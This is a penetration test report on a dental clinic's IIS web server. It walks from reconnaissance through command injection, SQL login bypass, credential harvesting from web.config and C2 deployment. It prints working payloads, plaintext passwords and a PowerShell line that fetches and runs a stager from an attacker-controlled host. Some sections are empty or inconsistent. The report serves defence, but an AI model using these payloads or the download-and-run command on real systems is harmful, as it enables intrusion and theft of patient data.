OFFENSEDEFENSELOGIC
Red Team Assessment

Penetration Test

Report of Findings

Kerning City Dental

Confidential

Table of Contents

1 Statement of Confidentiality3
2 Engagement Contacts4
3 Executive Summary5
3.1 Approach5
3.2 Scope5
3.3 Assessor Infrastructure5
3.3 Assessment Overview and Recommendations5
4 Penetration Test Assessment Summary7
4.1 Summary of Findings7
5 Attack Path Walkthrough8
5.1 Detailed Walkthrough8
6 Remediation Summary11
6.1 Short Term11
6.2 Medium Term11
6.3 Long Term11
7 Technical Findings Details12
8 Positive Observations20
A Appendix21
A.1 Finding Severities21
A.2 Host & Service Discovery22
A.3 Subdomain Discovery22
A.4 Exploited Hosts23
A.5 Compromised Users23
A.6 Changes/Host Cleanup24
A.7 MITRE ATT&CK Mapping25
A.8 Tools Used25
A.9 Evidence Files26

1 Statement of Confidentiality

The contents of this document have been developed by SancLogic. SancLogic considers the contents of this document to be proprietary and business confidential information. This information is to be used only in the performance of its intended use. This document may not be released to another vendor, business partner or contractor without prior written consent from SancLogic. Additionally, no portion of this document may be communicated, reproduced, copied or distributed without the prior consent of SancLogic.

The contents of this document do not constitute legal advice. SancLogic's offer of services that relate to compliance, litigation or other legal interests are not intended as legal counsel and should not be taken as such.

2 Engagement Contacts

Client Contacts
ContactTitleContact Email
Steven MahManaging Director[email protected]
Assessor Contact
Assessor NameTitleAssessor Contact Email
SancLogicSecurity Analyst[email protected]

3 Executive Summary

MahCyberDefense (on behalf of Kerning City Dental, "Kerning City Dental" herein) contracted SancLogic to perform a full-scope red team assessment of Kerning City Dental's externally facing web infrastructure to identify security weaknesses, determine the impact to Kerning City Dental, document all findings in a clear and repeatable manner, and provide remediation recommendations.

3.1 Approach

SancLogic performed testing under a "Black Box" approach on 12 February 2026 without credentials or any advance knowledge of Kerning City Dental's externally facing environment with the goal of identifying unknown weaknesses. Testing was performed from a non-evasive standpoint with the goal of uncovering as many misconfigurations and vulnerabilities as possible. Testing was performed remotely from SancLogic's assessment infrastructure via ProtonVPN. Each weakness identified was documented and manually investigated to determine exploitation possibilities and escalation potential. SancLogic sought to demonstrate the full impact of every vulnerability, up to and including data exfiltration and command and control establishment.

3.2 Scope

The scope of this assessment was the external web application and underlying web server infrastructure.

Host/URL/IP AddressDescription
kerningcitydental.caPrimary web application
KCD-Web (172.16.1.4)Windows Server 2022 (DMZ)
ADDC01Active Directory Domain Controller — Not Reachable (DMZ Isolation)
KCD-EXCH01Exchange Server — Not Reachable (DMZ Isolation)
KCD-FS01File Server — Not Reachable (DMZ Isolation)

Network Architecture

INTERNET Cloudflare FW DMZ DMZ 172.16.1.0/29 KCD-Web 172.16.1.4 FW INT INTERNAL ADDC01 EXCH01 FS01 Compromised Protected (DMZ Isolation) Blocked

Out of Scope: Denial of Service (DoS) attacks, third-party infrastructure

3.3 Assessor Infrastructure

The following infrastructure was used to conduct the assessment. This information is provided to assist Kerning City Dental in distinguishing penetration test activity from any unrelated or malicious traffic occurring during the assessment window.

ComponentDetailNotes
Assessor LocationRemoteTesting conducted remotely throughout
VPN ProviderProtonVPNAll traffic egressed via ProtonVPN
Egress IPDocumented at time of testingAvailable on request for log correlation
C2 Infrastructuresync.cloud-endpoint.netCloudflare Tunnel — used for Sliver C2 during Phase 6 only
C2 Port8443 (HTTPS)Outbound from KCD-Web to C2 listener
Assessment OSKali LinuxPrimary assessment platform
Assessment Window12 February 2026, 09:14 – 10:15Total active testing: ~61 minutes

Any traffic originating from ProtonVPN exit nodes or the domain cloud-endpoint.net during the above window should be attributed to this authorised assessment.

3.3 Assessment Overview and Recommendations

During the penetration test against Kerning City Dental, SancLogic identified 11 findings that threaten the confidentiality, integrity, and availability of Kerning City Dental's information systems. The findings were categorised by severity level, with 5 of the findings being assigned a critical-risk rating, 1 high-risk, 3 medium-risk, and 2 low risk.

The assessment demonstrated that an external attacker could fully compromise the web server, access all patient records (including Social Insurance Numbers), harvest credentials, and establish command and control access. This represents a significant breach of PIPEDA compliance obligations.

Kerning City Dental should create a remediation plan based on the Remediation Summary section of this report, addressing all critical and high findings as soon as possible according to the needs of the business. Kerning City Dental should also consider performing periodic vulnerability assessments if they are not already being performed.

Key recommendations include:

4 Penetration Test Assessment Summary

SancLogic began all testing activities from the perspective of an unauthenticated user on the internet. The client provided only the target domain; no additional information such as operating system or configuration details was provided.

4.1 Summary of Findings

During the course of testing, SancLogic uncovered a total of 11 findings that pose a material risk to Kerning City Dental's information systems. The below chart provides a summary of the findings by severity level.

In the course of this penetration test: 5 Critical, 1 High, 3 Medium, 2 Low vulnerabilities were identified:

CRITICAL 5 1 2 3 4 5 HIGH 1 6 MEDIUM 3 7 8 9 LOW 2 10 11 PIPEDA COMPLIANCE AT RISK PHI exposure detected

Below is a high-level overview of each finding identified during testing:

#Severity LevelFinding NamePage
19.8 (Critical)OS Command Injection (Remote Code Execution)12
29.8 (Critical)SQL Injection — Authentication Bypass13
39.1 (Critical)Plaintext Credential Storage14
49.1 (Critical)Protected Health Information Exposure15
58.8 (Critical)Antivirus Bypass via Custom Tooling16
67.5 (High)Sensitive Information in robots.txt17
75.3 (Medium)Verbose Error Messages17
85.3 (Medium)Server Information Disclosure18
95.3 (Medium)Directory Browsing Enabled18
103.7 (Low)Missing Security Headers19
113.7 (Low)Debug Mode Enabled19

5 Attack Path Walkthrough

During the course of the assessment, SancLogic gained a foothold via the external web application, access all patient records, harvest credentials, and establish command and control access on the web server. The steps below demonstrate the path taken from initial reconnaissance to full compromise.

5.1 Detailed Walkthrough

SancLogic performed the following to fully compromise the KCD-Web server:

  1. Passive reconnaissance identified infrastructure (Cloudflare, IIS 10.0, Windows Server 2022, M365 mail)
  2. Subdomain enumeration via crt.sh revealed mail and wildcard certificates
  3. robots.txt disclosed sensitive paths including /tools/diagnostic.aspx
  4. OS command injection achieved via ping field (127.0.0.1 & whoami)
  5. Post-exploitation enumeration revealed SeImpersonatePrivilege (potato attack potential)
  6. web.config harvested via RCE, exposing SQL credentials (sa), SMTP password, and API keys
  7. SQL injection on /admin/login.aspx bypassed authentication
  8. Admin panel accessed — last login from internal IP 192.168.10.103
  9. Patient data exfiltrated (10 records with SIN, DOB, plaintext passwords) — IIS request filtering bypassed
  10. Custom Nim stager deployed, establishing Sliver C2 sessions (terminated by Defender after ~2 min)

Kill Chain Progression

RECON T1595 INITIAL T1190 RCE CRED ACCESS T1552 SQLi BYPASS T1190 PHI EXFIL T1041 C2 BLOCKED Phase 1 Phase 2 Phase 3 Phase 4 Phase 5-6 Phase 7 09:14 09:28 09:35 09:42 09:58 10:15

Total time from initial reconnaissance to C2 establishment: 61 minutes | Defender terminated sessions within ~2 minutes

Phase 1: Reconnaissance

Passive reconnaissance revealed the target infrastructure:

ComponentValue
Domainkerningcitydental.ca
CDN/WAFCloudflare
Web ServerMicrosoft IIS 10.0
FrameworkASP.NET 4.8
OSWindows Server 2022 (build 20348)
RegistrantDFIRINTLY INC (Steven Mah)
MailMicrosoft 365 (kerningcitydental-ca.mail.protection.outlook.com)
Third-party Developer[email protected] (found in source comments)

Subdomains discovered via crt.sh:

Phase 2: Vulnerability Discovery

Analysis of robots.txt disclosed sensitive paths:

/admin/ /tools/ /uploads/ /App_Data/ /backup/ /old/ /web.config /tools/diagnostic.aspx /patient/search.aspx
robots.txt revealing hidden paths

curl output: robots.txt disclosing sensitive paths including /admin/, /backup/, /tools/diagnostic.aspx

The /tools/diagnostic.aspx page was publicly accessible and exposed server information including hostname, OS version, and application paths.

Phase 3: Initial Access — Command Injection

The diagnostic.aspx page contained network troubleshooting tools (ping, nslookup, traceroute) that passed user input directly to cmd.exe without sanitisation.

Payload:

127.0.0.1 & whoami

Server Executed:

cmd.exe /c ping -n 2 127.0.0.1 & whoami

Result: Arbitrary command execution confirmed. The whoami command returned iis apppool\defaultapppool.

RCE via command injection — whoami output

RCE via command injection — whoami output

Phase 4: Post-Exploitation Enumeration

Using command injection, SancLogic enumerated the system:

PropertyValue
HostnameKCD-Web
OSWindows Server 2022 (10.0.20348.0)
Network172.16.1.4/29 (DMZ segment)
DomainWORKGROUP (not domain-joined)

Token Privileges:

SeImpersonatePrivilege — Enabled SeAssignPrimaryTokenPrivilege — Disabled

The SeImpersonatePrivilege token enables privilege escalation via "potato" attacks (PrintSpoofer, GodPotato, JuicyPotatoNG). These were blocked by Defender, SancLogic pivoted to custom tooling instead.

Server information and privilege enumeration

Server information and privilege enumeration

Phase 5: Credential Harvesting

The web.config file was readable via command injection:

type C:\inetpub\kerningcitydental\web.config

Credentials Discovered:

ServiceUsernamePassword
SQL Server (KCD-SQL01)saSQLAdmin2024!
SMTPEmailKCD2024!
Backup APIsk-kcd-a8f29b4c1d3e5f6g7h8i9j0k
patients.csv - Exfiltrated patient records with SIN, DOB, insurance data

Terminal output: cat patients.csv showing 25 patient records with PII

Phase 8: Command & Control

Known privilege escalation tools (PrintSpoofer, GodPotato, JuicyPotatoNG) were detected and quarantined by Windows Defender. A custom Nim-based stager with in-memory shellcode execution was deployed, successfully evading static detection:

iwr -uri 'https://sync.cloud-endpoint.net/svyhsot.exe' -outfile 'C:\Windows\Temp\svc.exe' C:\Windows\Temp\svc.exe Result: Two Sliver C2 sessions established. Session 3f9e8c1b PROSPECTIVE_TROOPER - KCD-Web - windows/amd64

Sessions were terminated by Defender behavioural analysis after approximately 2 minutes.

Sliver C2 session callbacks

Sliver C2 session callbacks

6 Remediation Summary

As a result of this assessment there are several opportunities for Kerning City Dental to strengthen its security posture. Remediation efforts are prioritised below starting with those that will likely take the least amount of time and effort to complete. Kerning City Dental should ensure that all remediation steps and mitigating controls are carefully planned and tested to prevent any service disruptions or loss of data.

6.1 Short Term

6.2 Medium Term

6.3 Long Term

7 Technical Findings Details

1. OS Command Injection (Remote Code Execution) - Critical

CWECWE-78: Improper Neutralization of Special Elements used in an OS Command
CVSS 3.19.8
Location/tools/diagnostic.aspx (txtTarget, txtDns, txtTracert parameters)
Root CauseUser input is concatenated directly into system commands without sanitisation, enabling arbitrary command execution as the IIS application pool identity.
ImpactFull server compromise, data exfiltration, lateral movement capability, persistent access via webshell or C2.
RemediationRemove diagnostic.aspx from production or restrict access via authentication. Implement input validation using allowlists (IP address regex). Use parameterised commands, not string concatenation.

Finding Evidence

Payload: 127.0.0.1 & whoami Result: iis apppool\defaultapppool
RCE via command injection — whoami output

RCE via command injection — whoami output

Server information disclosure via diagnostic.aspx

Server information disclosure via diagnostic.aspx

2. SQL Injection — Authentication Bypass - Critical

CWECWE-89: Improper Neutralization of Special Elements used in an SQL Command
CVSS 3.19.8
Location/admin/login.aspx (Username parameter)
Root CauseLogin form constructs SQL queries via string concatenation, enabling injection attacks.
ImpactComplete authentication bypass, administrative access without credentials, potential database compromise.
RemediationImplement parameterised queries / prepared statements. Remove debug SQL output from production. Implement account lockout mechanisms.

Finding Evidence

SQL Query: SELECT * FROM users WHERE Username = '[input]' AND Password = '[input]' Payload: Username: ' OR '1'='1' -- Password: anything Result: Authentication bypassed as administrator
SQL debug output (information disclosure)

SQL debug output (information disclosure)

SQL injection authentication bypass

SQL injection authentication bypass

Admin dashboard access

Admin dashboard access

3. Plaintext Credential Storage - Critical

CWECWE-256: Plaintext Storage of a Password
CVSS 3.19.1
Location/App_Data/users.csv, web.config
Root CauseStaff and patient passwords stored in plaintext. Database credentials stored in plaintext in web.config.
ImpactMass credential compromise, potential credential reuse attacks against other systems.
RemediationHash passwords using bcrypt/Argon2. Use Azure Key Vault or similar for connection strings. Rotate all exposed credentials immediately.

Finding Evidence

Staff credentials discovered in /App_Data/users.csv:

UsernamePasswordRole
adminKCDental2024!administrator
drpatelSmile2024!dentist
drnguyenNguyen2024!dentist
sthompsonSarah2024!manager
arodriguezAmanda2024!receptionist
patients.csv - Exfiltrated patient records with SIN, DOB, insurance data

Terminal output: cat patients.csv showing 25 patient records with PII

5. Antivirus Bypass via Custom Tooling - Critical

CWECWE-693: Protection Mechanism Failure
CVSS 3.18.8
LocationKCD-Web (Windows Defender)
Root CauseReliance on signature-based detection allowed custom tooling to evade static analysis.
ImpactPersistent access, data exfiltration channel, further network compromise capability.
RemediationImplement EDR with behavioural analysis. Enable AMSI for PowerShell/script-based attacks. Monitor for unusual outbound connections.

Finding Evidence

Known privilege escalation tools were detected and quarantined:

Custom Nim-based stager with in-memory shellcode execution successfully evaded static detection:

Delivery: iwr -uri 'https://sync.cloud-endpoint.net/svyhsot.exe' -outfile 'C:\Windows\Temp\svc.exe' Result: Two Sliver C2 sessions established Session 3f9e8c1b PROSPECTIVE_TROOPER - KCD-Web - windows/amd64 Session 86198695 PROSPECTIVE_TROOPER - KCD-Web - windows/amd64

Note: Sessions were terminated by Defender behavioural analysis after approximately 2 minutes. See Positive Observations section.

Sliver C2 session callbacks

Sliver C2 session callbacks

6. Sensitive Information in robots.txt - High

CWECWE-200: Exposure of Sensitive Information to an Unauthorized Actor
CVSS 3.17.5
Location/robots.txt
Root Causerobots.txt used to hide sensitive paths instead of implementing proper access controls.
ImpactAttack surface discovery, targeted attacks against administrative and diagnostic functionality.
RemediationRemove sensitive paths from robots.txt. Implement authentication rather than obscurity.

Finding Evidence

User-agent: * Disallow: /admin/ Disallow: /tools/ Disallow: /uploads/ Disallow: /App_Data/ Disallow: /backup/ Disallow: /old/ Disallow: /web.config Disallow: /tools/diagnostic.aspx Disallow: /patient/search.aspx

7. Verbose Error Messages - Medium

CWECWE-209: Generation of Error Message Containing Sensitive Information
CVSS 3.15.3
LocationApplication-wide (404 pages, exception handlers)
Root CauseIIS detailed errors enabled in production environment.
ImpactPhysical paths, stack traces, and server configuration leaked to attackers.
RemediationSet <customErrors mode="On"/> and <httpErrors errorMode="Custom"/> in web.config.

Finding Evidence

404 error pages leaked internal physical path:

C:\inetpub\kerningcitydental\

8. Server Information Disclosure - Medium

CWECWE-200: Exposure of Sensitive Information
CVSS 3.15.3
Location/tools/diagnostic.aspx, HTTP headers
Root CauseServer information table publicly accessible. Custom X-Server-Info header exposes "Microsoft-IIS/10.0" despite Cloudflare CDN, enabling backend fingerprinting.
ImpactTargeted attacks based on known OS/software versions. Cloudflare protection bypassed for fingerprinting.
RemediationRemove server information table from diagnostic page. Remove X-Server-Info and X-Powered-By headers. Configure Cloudflare to strip server headers.

Finding Evidence

Information disclosed via diagnostic.aspx:

HTTP response headers leaked backend details despite Cloudflare:

X-Server-Info: Microsoft-IIS/10.0 X-Powered-By: ASP.NET
HTTP headers revealing server information

curl -I output showing IIS/10.0, ASP.NET 4.0.30319, Cloudflare headers

9. Directory Browsing Enabled - Medium

CWECWE-548: Exposure of Information Through Directory Listing
CVSS 3.15.3
Location/admin/
Root CauseIIS directory browsing enabled on administrative directory.
ImpactFile structure exposure, discovery of additional attack vectors.
RemediationSet <directoryBrowse enabled="false"/> in web.config.

10. Missing Security Headers - Low

CWECWE-1004: Sensitive Cookie Without 'HttpOnly' Flag
CVSS 3.13.7
LocationApplication-wide
Root CauseHttpOnly and Secure flags not set on session cookies.
ImpactSession hijacking via XSS attacks if combined with other vulnerabilities.
RemediationSet <httpCookies httpOnlyCookies="true" requireSSL="true"/> in web.config.

11. Debug Mode Enabled - Low

CWECWE-489: Active Debug Code
CVSS 3.13.7
Locationweb.config
Root Cause<compilation debug="true"/> enabled in production web.config.
ImpactPerformance degradation, additional information disclosure, larger attack surface.
RemediationDisable debug mode in production deployments.

8 Positive Observations

The following security controls were observed functioning effectively during the assessment:

P1: DMZ Network Segmentation

The web server was properly isolated in a DMZ segment (172.16.1.4/29). Internal network resources (Active Directory, Exchange, file servers) were not reachable from the compromised host. This segmentation prevented lateral movement into the corporate network and limited the blast radius of the compromise.

P2: Windows Defender Behavioural Detection

While static analysis was bypassed with custom tooling, Windows Defender's behavioural analysis successfully detected and terminated C2 sessions within approximately 2 minutes of execution. Known privilege escalation tools (PrintSpoofer, GodPotato, JuicyPotatoNG) were also blocked on initial delivery. This demonstrates that Defender provided meaningful defense-in-depth despite the bypass.

A Appendix

A.1 Finding Severities

Each finding has been assigned a severity rating of critical, high, medium, low or info. The rating is based off of an assessment of the priority with which each finding should be viewed and the potential impact each has on the confidentiality, integrity, and availability of Kerning City Dental's data.

RatingCVSS Score Range
Critical9.0 – 10.0
High7.0 – 8.9
Medium4.0 – 6.9
Low0.1 – 3.9
Info0.0

A.2 Host & Service Discovery

IP Address / URLPortServiceNotes
kerningcitydental.ca443HTTPSPrimary web application (behind Cloudflare)
104.21.45.10443HTTPSCloudflare edge IP
172.67.207.71443HTTPSCloudflare edge IP
KCD-Web (172.16.1.4)IIS 10.0Windows Server 2022 (DMZ segment)

DNS Records:

RecordValueNotes
A104.21.45.10, 172.67.207.71Cloudflare IPs
MXkerningcitydental-ca.mail.protection.outlook.comMicrosoft 365
TXTMS=ms72239418Microsoft domain verification
TXTv=spf1 include:spf.protection.outlook.comSPF record confirms M365
NSclara.ns.cloudflare.com, wesley.ns.cloudflare.comCloudflare nameservers

WHOIS:

FieldValue
RegistrantDFIRINTLY INC
Admin ContactSteven Mah ([email protected])
AddressREDACTED
PhoneREDACTED
Created2025-09-24

A.3 Subdomain Discovery

URLDescriptionDiscovery Method
kerningcitydental.caPrimary domainProvided in scope
*.kerningcitydental.caWildcard certificatecrt.sh
mail.kerningcitydental.caMail subdomaincrt.sh
mail-relay.kerningcitydental.caMail relaycrt.sh

A.4 Exploited Hosts

HostScopeMethodNotes
KCD-WebExternalOS Command InjectionFull compromise via diagnostic.aspx

A.5 Compromised Users

UsernameTypeMethodNotes
adminStaffPlaintext in users.csvAdministrator role
drpatelStaffPlaintext in users.csvDentist role
drnguyenStaffPlaintext in users.csvDentist role
sthompsonStaffPlaintext in users.csvManager role
arodriguezStaffPlaintext in users.csvReceptionist role
saSQL ServerPlaintext in web.configDatabase admin

A.6 Changes/Host Cleanup

The following artifacts were left on target systems during testing and should be removed:

HostPath/ChangeCleanup Required
KCD-WebC:\Windows\Temp\svc.exeDelete Nim stager binary
KCD-WebWindows Defender quarantineReview quarantined items (PrintSpoofer, GodPotato, JuicyPotatoNG)

Note: C2 sessions were terminated by Defender behavioural analysis. No persistent access or scheduled tasks were established.

A.7 MITRE ATT&CK Mapping

Attack Chain Coverage

RECON T1595 INITIAL T1190 EXECUTION T1059 PERSIST T1505.003 CRED ACC T1552/T1555 COLLECT T1005 EXFIL T1041 C2 BLOCKED Successful Attempted Blocked by Defender 7/9 tactics achieved Persistence blocked • C2 terminated ~2min
TacticTechniqueID
ReconnaissanceActive ScanningT1595
Initial AccessExploit Public-Facing ApplicationT1190
ExecutionCommand and Scripting InterpreterT1059
PersistenceWeb Shell (attempted)T1505.003
Credential AccessCredentials from Password StoresT1555
Credential AccessUnsecured CredentialsT1552
CollectionData from Local SystemT1005
ExfiltrationExfiltration Over C2 ChannelT1041
Command and ControlApplication Layer ProtocolT1071

A.8 Tools Used

A.9 Evidence Files

TimestampFindingFile
2026-02-12WHOISrecon/whois.txt
2026-02-12DNS recordsrecon/dns_*.txt
2026-02-12Subdomainsrecon/subdomains_crt.txt
2026-02-12Tech fingerprintrecon/whatweb.txt
2026-02-12robots.txtrecon/robots.txt
2026-02-12diagnostic.aspxrecon/diagnostic_page.html
2026-02-12RCE PoCScreenshots Image 1-2
2026-02-12CredentialsScreenshots Image 3, 7
2026-02-12SQL InjectionScreenshots Image 4-6
2026-02-12PHI ExfiltrationScreenshots Image 8
2026-02-12C2 SessionsScreenshots Image 9

End of Report